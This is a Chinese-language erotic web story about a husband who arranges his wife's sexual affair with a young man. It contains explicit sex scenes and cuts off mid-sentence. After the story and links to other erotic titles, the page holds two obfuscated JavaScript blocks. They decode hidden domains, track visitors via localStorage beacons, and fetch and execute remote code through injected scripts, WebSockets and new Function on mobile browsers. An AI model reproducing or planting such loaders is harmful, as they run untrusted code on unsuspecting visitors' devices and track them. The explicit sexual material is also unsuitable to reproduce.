可能因为昨天晚上酒喝的太多,此刻我的头仍然隐隐发晕,理不出头绪。随手开了电视,胡乱找台看。不一会儿,妻子洗完澡出来了,围着浴巾跳到床上抱住了我。我问她:“宝贝儿,昨晚玩的开心不?”妻子想了想,说:“老公,你不会怪我吧?”

我搂着她,说:“怎么会呢傻孩子。”

妻子说:“他真的好厉害,基本上折腾了一夜,做了五次,我感觉好像回到了咱俩刚结婚的那段日子,现在我的腰还酸疼呢。”我说:“今天咱们不出去玩了,你好好休息一天。”妻子看着我的眼睛,发自内心地说:“老公,谢谢你给我的一切。”我问她:“他什么时候走的?”

妻子说:“早上五点多的时候就回去了,怕你回来撞见,临走的时候还一遍遍的问我:“我这样做是不是太对不起大哥了。”我问妻子:“你没告诉他这是我同意的吧?”

妻子说:“怎么可能告诉他,再说了,告诉他他也不会相信,说不定还会吓着他。”

就这样,我搂着妻子一直睡到中午十一点多,起床洗脸一起出去吃午饭。我俩来到小C房间门口敲门叫他,敲了半晌没有反应,以为他不在房间,我和妻子刚要转身离去,门开了。小C睁着发红的双眼站在门口,明显还没睡醒。看到我一楞。我怕他尴尬,并不正面看他,我一边往屋里走一边故意逗他:“小子,昨晚干什么坏事了,困成这样?”

小C支吾着不知说什么好,妻子连忙接过话茬,对小C说:“你快点洗脸,咱们下去吃饭。”

小C仿佛得到了特赦令一样,答应了一声,然后快速逃进卫生间里。妻子捅了我一下,小声说:“你就坏吧你。”

午饭的餐桌上,小C的表情很不自然,眼神对我一直躲躲闪闪。见此情景,我又犯坏了,对他说:“小鬼,以我一个老江湖的眼光分析,你昨晚肯定干什么坏事了,你是主动坦白呢,还是等我严刑逼供?”小C非常不自然地嘿嘿嘿笑着不说话,妻子帮着打圆场,对他说:“别理你哥,好好吃饭。”

我接着说:“嗯,一会我要提醒一下其他人,有没有丢钱包的,我估计你昨晚肯定去当飞贼了。”

这句话把妻子和小C都逗乐了。气氛也恢复了正常。吃完午饭,因为天气太热,我们三个都不想出去,于是回到房间里打扑克。一个下午就在这样嘻嘻哈哈的愉快气氛中过去了。

又在广州住了一晚,旅行社的计划是第二天坐广深高速列车去深圳。我们来时乘坐的旅游专列停靠在广州等我们。晚上睡觉的时候,妻子详细向我讲述了事情发生的过程:我走后不久,小C就去了我们的房间,起初闲聊天,后来两人打了一会扑克。再后来小C说:“我大哥临走时交待我,让我帮你揉揉肩膀。”于是,妻子乖乖的趴在床上,小C揉肩捶腿开始忙活。气氛越来越暧昧,妻子问小C:“你将来想找一个什么样的女朋友?”小C说:“我现在有女朋友,但总好像找不到感觉,而且毕业以后也不太可能走到一起。”

妻子问:“你想找什么样的?”

小C说:“如果我能遇到一个像姐姐这样的人就好了。”妻子说:“这不用担心,你很可爱也很优秀,将来肯定会遇到一个比姐姐好很多倍的女孩子,姐姐不行啦,老喽。”

——正常男人在这种情况下,绝对懂得他接下来需要做什么,于是,一切都很自然的发生了……

第二天在深圳街里,妻子像故意捣蛋一样搂着小C的胳膊,小C吓得非常紧张的看着我。那场景让我想起了大灰狼搂小白兔——不过,大灰狼不是他,而是妻子。我故意对妻子说:“你就摧残少年儿童吧。”妻子得意地说:“乐意,我弟弟,谁也管不着。”在深圳玩了一天,返回广州,我们连夜坐车返回,小C直接回了学校,分别的时候,妻子哭得鼻涕一把泪一把,弄得小C也眼泪汪汪,我们把我俩的手机号都留给了他,并嘱咐他,有什么事可以随时找我们。他的家距离我们城市很近,我们告诉他:放假的时候可以去我们的城市玩,我们给他当导游。

回程的列车上,妻子坐在铺上独自发呆,良久,对我说:“老公,过去的一切,现在想起来怎么像梦一样啊。”

我说:“恶梦还是美梦?”

妻子说:“我也说不清,不过绝对不是恶梦。”我想了想,说:“生活本身又何尝不是一种梦,比如庄生梦蝶的故事:做蝴蝶,是人的梦,但谁又能说清,做人,同样只不过是蝴蝶的一个梦呢。”妻子没有说话,只是默默的靠着我。我拍了拍妻子的肩膀,说:“乖,我知道你想他,没关系的,以后见面的机会还很多。”妻子说:“其实我并不是十分想他这个人,而是一直在想过去这几天发生的事情,以后就算再见到了,谁知道会不会还有这种感觉。”我说:“不用担心,事来心应,事去心止,走一步看一步,放心有我呢。”回到家里休息了两天,我俩躲在自己的小天地里缠绵了两天。这次旅游后,我发现妻子对我的依赖更重了。只要我离开她的线视一会儿,她马上叫我:“老公,你干嘛呢?”

两天后,我俩开始上班,生活又重新驶入了正常的轨道。

在接下来的一段日子里,小C一直与妻子保持着联络。经常互发一些或阳光或暧昧的短信。我和妻子在家的时候,我俩的手机都是随意的乱放,但是,我从来不翻看她的手机,她更没必要翻看我的。有时候,妻子一边给我看那些小C发过来的表达相思之情的短信,一边担心地问我:“你说,咱俩是不是把这个孩子给害了?”

我说:“这个倒不必担心,他热情如火很正常,不过,你要正确引导,不要让他陷得太深,否则就真把他害了。”

俩人在通话的时候,如果赶上我在家,有时妻子会对他说:“你哥在家呢,你和他说几句。”

电话里,小C还是快乐的腔调,说:“老大,没欺负我姐吧?”我说:“怎么会呢,你以为你姐是省油的灯啊,她不欺负我就不错了。”然后就听到他在电话那边传来一阵傻笑。偶尔妻子也犯坏,她当着我的面,一边冲我挤眉弄眼,一边在电话里对他说:“你哥没在家,快告诉我,有没有想我?”

接下来,连连对着手机发出亲吻的声音。我估计此时小C在电话那边肯定兴奋得要发疯。

转眼几个月,小C快放寒假了,有一天,妻子下班后对我说:“老公,小C发信息告诉我说,他在咱们这里转车,想单独见见我,不想让你知道。怎么办?

我拒绝他吗?”

我对妻子说:“没关系,一切你来决定,如果你想他,就留住一夜,别去酒店了,不安全,还是回家里吧,我去爸妈家,正好可以陪陪女儿,你可以告诉小C 我出差了。”

妻子顿时兴奋得抱着我的脖子乱跳。然后故作正经地说:“老不死的,看看你都把我宠成什么样了。”

我反驳道:“废话,我就你这么一个老婆,不宠你我宠谁?”小C是早晨到我们这个城市的,恰逢周末。由于事先妻子已经告诉他我不在家了,所以,清晨五点多的时候,他在火车上给妻子打了一个电话,我睡意朦胧的躺在妻子身边听着他俩在电话里缠绵,伸出手摸摸妻子的私处,已经泛滥成灾了。我钻到妻子身体下面,分开她的双腿,用舌头爱抚着。

妻子很兴奋,但还得忍着用正常的声调说话。只能两条腿交替着勾住我的身体。这样爱抚了一会儿,我回到妻子身后,扶着坚挺无比的小弟弟,从后面轻轻进入妻子的身体,慢慢抽插着,不能动作太快,以免小C听到妻子气喘吁吁的声音。妻子把手机贴着耳朵枕到了头下,腾出手来紧紧抓着我的胳膊。或许是由于太兴奋的缘故,不久,我一泄如注。

小C的火车早上七点到站,妻子答应去车站接他,我开车把妻子送到车站,帮她买好了站台票,交待了一些安全细节。(其实也没什么可交待的,妻子带着避孕环,和小C这种阳光男孩儿在一起,不用担心身体上的疾病,第一次的时候他俩就没有用套。)

我帮妻子把计划都定好了:她把小C接回来以后,先简单的找个小饭馆吃早餐,然后一起买菜回家,如果小C在车上没休息好,就先让他在家里睡上一觉,然后一起做饭,美美的过上一天二人世界的生活,当晚让他在我家住一夜,第二天上午把他送上回家的火车。

看着妻子一步三回头的走进了车站,我转身返回车内去了父母家。女儿见了我,仍然余怒未消。平时的时候,她住在爷爷奶奶家,一是因为小时候一直和爷爷奶奶一起生活习惯了,现在住那里离她就读的学校也近。所以,只能周末回到我和妻子身边。但这个周末,我却没让她回家,这让她非常愤怒。我对女儿说:

“乖,不生气了,妈妈有事,爸爸陪你,今天想去哪里玩,我听你的。”女儿这才转怒为喜,开始提具体的要求,其实小孩子的要求非常简单,无非是肯德基、麦当劳,捎带着去儿童乐园里玩那些仿佛永远都玩不腻的游戏。

坐在公园的长椅上,我一边喝着饮料一边看着女儿在旋转木马上开心大笑的样子。我开始琢磨这两个我生命里最重要的女人。女儿,在我的陪伴下,此时此刻,非常开心;妻子,在我的安排下,此时此刻,同样非常开心。孩子有孩子的游戏方式,大人有大人的游戏方式,其实,从某种程度上说,所有的恩爱夫妻,彼此在对方眼里,又何尝不同样是孩子呢?

我这样说,丝毫没有把小C当成我们夫妻俩玩弄的工具的意思,从开始到现在,我与妻子都对小C非常尊重。当然了,这种尊重是建立在互相尊重的基础之上的。我们之所以对小C隐瞒了部分真相,这并不是出于欺骗,而完全是出于善意的目的。因为他或许还不能理解或者接受这种很另类的方式。我想,或许在将来的某一天,在确保他能完全理解这些事情的前提下,我们会把真相告诉他。

临近中午的时候,妻子打来了电话,问我:“你现在在干什么?”我说:“正在陪一个女人。”

妻子说:“你活腻了吧?”

我说:“你还讲不讲理?你满山放火,我点根蜡烛都不行啊?”妻子说:“说正经的,你别光顾着自己,抽空带女儿出去玩玩。”我说:“呸,你还记得女儿啊?放心吧,我带她在游乐园里玩呢。”妻子说:“老不死的,那么点儿的一个孩子,你也称她为‘女人’,你简直禽兽不如。”

我说:“不逗嘴了,你俩进行的怎么样了?”

妻子说:“他在睡觉呢,坐了一天一夜的火车,累坏了。”我说:“不止因为坐火车吧,你俩没干别的?”妻子反问:“你说呢?”

我说:“肯定干柴烈火迫不急待了。”

妻子故意气我:“知道你还问,明显弱智。”

我一本正经地对妻子说:“不和你闹了,如果你俩在家里闷着无聊,你可以带他去街上转转,不过要记住,千万别在咱家小区里勾肩搭背的,否则咱俩都死定了。”

妻子说:“我知道怎样做,你简直比我爸还啰嗦。”我说:“这话还真正确,我就是你精神上的父亲。”妻子说:“老公,我想你,怎么办啊?”

我说:“你就没有知足的时候是吧,吃着碗里的惦记着盆里的,搂着盆吃,又琢磨碗里的。”

妻子说:“这不怪我,都是你宠的……”

当晚回到父母家里,吃过晚饭不久,累了一天的女儿早早的睡了,我陪着父母聊了一会儿天。然后走到阳台上往家里打电话,没人接。再打妻子手机,电话里声音很嘈杂,原来妻子和小C在外面吃烧烤,而且明显感觉妻子喝酒了,妻子很狡猾,不忘当着小C假惺惺的问我:“老公,你是不是明天准时回来呀?”我小声问:“你什么意思?是不是还没疯够?”妻子说:“想你呗,快点回来吧。”

我说:“你不要在外面玩的太晚,早点回家。”妻子很痛快地答应了。

第二天中午,与女儿依依不舍地分别,我回到了家里。家里已经打扫得干干净净,妻子正在沙发上看电视,见我进来,扑上来抱住了我,说:“让我检查一下老公少没少零件。”

我横着把妻子抱在怀里,走过去扔到了沙发上,说:“你弄反了吧,应当是我检查你少没少零件才对。”

妻子坏坏地说:“不可能少,没准还多出来一个呢。”我说:“别吓我,真要是怀孕了也是你遭罪。”说完我坐在沙发上,捏着妻子的鼻子说:“向我汇报一下吧,昨天都干什么坏事了?”

妻子说:“别提了,从一下火车小C就开始手脚不老实,挡都挡不住……”原来,妻子把小C接下火车以后,妻子提议去吃早餐,但小C说在餐车上吃过了,于是两人就直接回家了。进屋没来得及洗脸就开始疯狂接吻爱抚,在妻子的一再要求下,两人简单地洗了一个澡,没等擦干身体,在浴室里就做了一次。

然后回到床上,又折腾了第二次。结束以后,两人躺着聊天,不知不觉小C睡着了。这期间,妻子给我打了电话。接近天黑的时候小C才睡醒,俩人一起去烧烤城吃了烧烤,喝了好多酒。回到家里,基本上又是一个不眠之夜。

说到这里,妻子走到电脑桌前拿出一个光盘,神秘兮兮地对我说:“想不想看?”

我很意外地问:“你录下来了?”

妻子说:“嗯,晚上录了一部分,不过先说好了,看了不许笑我。”我说:“你录这东西,小C说什么没有?”

妻子说:“他非常担心被你发现,走时还一再叮嘱我,我告诉他放心,我会藏好的。”

我接过光盘打开电脑,把光盘插了进去,让人热血沸腾的一幕幕出现了。这种感觉,是任何A片都无法比拟的,因为那里面的女主角是自己的至爱。这时,妻子悄悄走过来,趴在我的两腿之间,解开我的裤子,我拦着她说:“别淘气,我没洗呢。”

妻子说:“不管,我不在乎。”

说完就决然的把我的小弟弟含在了嘴里……没过多久,这种强烈的刺激让我在妻子的嘴里爆发了。

过后,躺在床上,妻子小鸟依人般的依偎在我怀里。或许是因为昨晚太累的缘故,不久就沉沉地睡了。望着妻子毫不设防的安静面容,一股柔情从心底里升起。那一刻,我很真切的感受到了:怀里的这个女人,是我身体的一部分。

用文字讲述出来的生活,是生活的浓缩,而真实的生活,要比浓缩成文字的生活平淡得多。

这件事情就这样过去了,我与妻子的生活又重新回归于行云流水般的平淡。

有一天下班,我刚进家门,看到妻子的鞋摆放在门口,得知妻子比我先一步回来了。不过,家里并没有做饭的气息,我叫了一声:“老伴,你忙什么呢?”妻子的声音从书房里传了出来,语气有点慌乱:“没忙什么,在电脑上查点资料。”

我走进书房,妻子正手忙脚乱的关着网页。我说:“坏东西,查什么反对色情的东西呢。”

妻子掩饰着说:“胡说什么啊你,我只是查点工作中要用的东西。”我走到电脑前,那张录有她和小C浪漫过程的光盘明显被移动了位置。我伸手拿起那张光盘,问妻子:“这是你的工作啊?”妻子红着脸逃出了房间,丢下一句:“不跟你这个无聊的老东西说了……”我在电脑前坐下,打开IE,查了一下历史记录,一些敏感词跳了出来:3P、夫妻交友……

妻子跑到厨房里做饭去了,我跟进了厨房,从后面抱住了妻子,问道:“亲爱的,是不是又想小C了?”

妻子挣扎着,说:“哪有啊,他刚走几天啊我就想。”我说:“没想你看光盘干嘛?”

妻子说:“才没有呢,我找别的光盘顺手把那个盘换了地方。”我对妻子说:“你个笨丫头,下次记住了,登陆完一些敏感网页以后,别忘了把浏览器的历史记录清空,家里的无所谓,用单位电脑的时候一定要记住。”我这话把妻子吓了一跳,问我:“你怎么知道我登陆敏感网站了?”我说:“你不知道IE上有个历史记录一项?”听我这样说,妻子连忙拉着我的手往书房里走,很着急地说:“你快点告诉我,怎样查。”

来到电脑前,我点开了历史记录,她刚才浏览的那些网页历历在目。妻子一下子羞得满脸通红。我问:“你是不是用单位的电脑也登陆这些网站了?”妻子说:“没有,绝对没有。单位的电脑从来都是工作用的。”我说:“那就没事儿了,乖,不用担心。”

妻子仍然心有余悸地说:“看来明天我得找个电脑培训班好好学学了,历史记录那个按钮我始终都不知道干什么用的。真可怕。”我说:“呵呵,你们单位电脑培训的时候,你逃学带着女儿逛街,现在知道错了吧?”

晚上,坐在沙发上看电视,我突然想起她白天看的那些网页,于是就问她:

“你怎么想起查关于3P方面的文章了?”

妻子说:“没什么,就是随便看看。”

我问:“你想了?”

妻子断然否认,然后向我偎了过来,说:“最近我经常冒出给你找个女人的念头,总觉得委屈你了。”

我伸出一只手搂着她,说:“宝贝儿,没什么委屈的,我胡闹的时候已经过去了,你抓紧打消这个念头,你们年轻人的那些把戏,老夫我都不感兴趣喽。”妻子说:“要不然,咱们哪天把你女同学勾过来吧。”我说:“别缺德了你,少惦记人家良家妇女。”妻子不服气地反驳我:“哼,是良家妇女,要不然能糟蹋我老公吗?”我说:“你别恶心人了,你老公是纯洁少女啊,还‘糟蹋’,这话让别人听到,牙都得笑掉。”

妻子说:“那当然,在我眼里,我老公就是纯洁少女。”我一把推开她,说:“你这个坏东西想玩同性恋是怎么的?找打啊?”妻子又笑嘻嘻地凑了过来:“老爸,我就是觉得委屈你了嘛。”我说:“乖女儿,别淘气。你别净瞎琢磨,等我真遇到了喜欢的女人,我会告诉你的。”

听我这么说,妻子又开始不讲理了:“老混蛋,不许喜欢别人!”我说:“你看你看,左也是你右也是你,在你眼里,我就是案板上的鳖,伸头也是死,缩头也是死。”

妻子乐了:“逗你玩的,当什么真啊,小气鬼。”睡觉的时候,躺要床上慢慢想着这些事情。我发现,事态一直朝着好的方向不断发展,而且,比我原来预料的要好出很多。最起码,妻子现在的开心快乐是由衷的,每天快快乐乐的上下班,闲着的时候弄一堆时装杂志研究自己衣服的款式,对女儿也不像以前那样动不动就犯急了。面对妻子这些潜移默化中的变化。

对于我来说,目的已经达到了。

夏日将至,天气渐渐变得暖洋洋的。一天傍晚,吃过晚饭以后,我和妻子坐在小区休闲花园的长椅上,看着周围一双一对闲逛的人们,不远处,几个小孩聚在一起嬉闹。我对妻子说:“宝贝儿,你说周围这些人如果知道咱们的事,他们会怎么想?”

妻子想了想,说:“不敢想象,那太可怕了,估计很多女人心里虽然羡慕我但她们嘴上仍会骂我下贱,而很多男人更会嘲笑你贱骨头,最后咱俩被唾沫星子淹死。”

我说:“面对现实的时候,我经常很恍惚,好像身处《镜花缘》中的两面国一样。”

妻子说:“或许咱俩的行为真的是太另类了,别说别人接受不了,放在几年前,如果我听到这种事情也不能接受,更不敢想象会发生在自己身上。”我说:“算了,不想那么多了,简单中的快乐,快乐中的简单,只要咱俩开心,管他别人怎么想,这辈子我就这样无原则宠你了,爱谁谁。”有时候,我真的非常不理解周围的谴责家们。这些人的行为,非常类似于把别人家的棺材抬到自己家里去哭。比如说,经常有一些人对他人的生活方式指指点点,虽然人家既没有损害到他,又没有妨碍到他。这就好比你正在家中坐着,突然冲进来一个陌生人,怒气冲冲地指着你的鼻子说:“你这种坐姿不好,你要换一个端庄的姿势,否则我受不了。”

时间过的真是好快,再有两个月,我们与小C认识就满一年了。这一年里发生的很多事,都足以令我们重新去审视自己的人生,从而对于人生,对于家庭,对于爱,都有了更深刻的理解和体会。

过了这个学期,小C将结束他的学生时代,开始步入社会。原来我和妻子曾问过他毕业以后的去向,小C一直满不在乎地说:“暂时没想,到时候再说。”前两天,他给妻子发信息说,打算毕业以后来我们的城市发展。他的这种想法曾一度让我很担心,倒不是担心别的,主要是怕他深陷对妻子的情感之中不能自拔,最后弄伤了自己。如果这样,我和妻子可就真是作孽太深了。

一天晚上,我打电话给他,再次询问他毕业后的去向问题。小C说:“现在基本上已经定下来了,回××市(注:我们家所在的城市)。”我问他:“怎么想起来这里了?”

小C说:“原来曾有过去北京或上海的打算,但是离父母太远,父母坚决不同意,再说那种大都市不容易站稳脚跟,所以最后决定回离家不远的××市。”接后,小C又笑嘻嘻地说:“这样多好啊,离老哥老姐近,随时能够见到你们。”

小C的解释,令我紧张的心放松下来好多。

接近六月末的一天晚上,和妻子在家吃晚饭的时候,妻子对我说:“小C今天发信息说,因为这是他最后一个暑假了,所以先不准备回家,想直接去峨眉山玩几天再回来。”

我说:“哦,这也正常,工作以后就没有多少宽松时间了。”妻子没再说什么。

吃过晚饭以后,妻子独自一人在电脑前鼓捣,往常这个


上一篇:罪恶蝴蝶未完

下一篇:在老爸旁边插着老妈


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};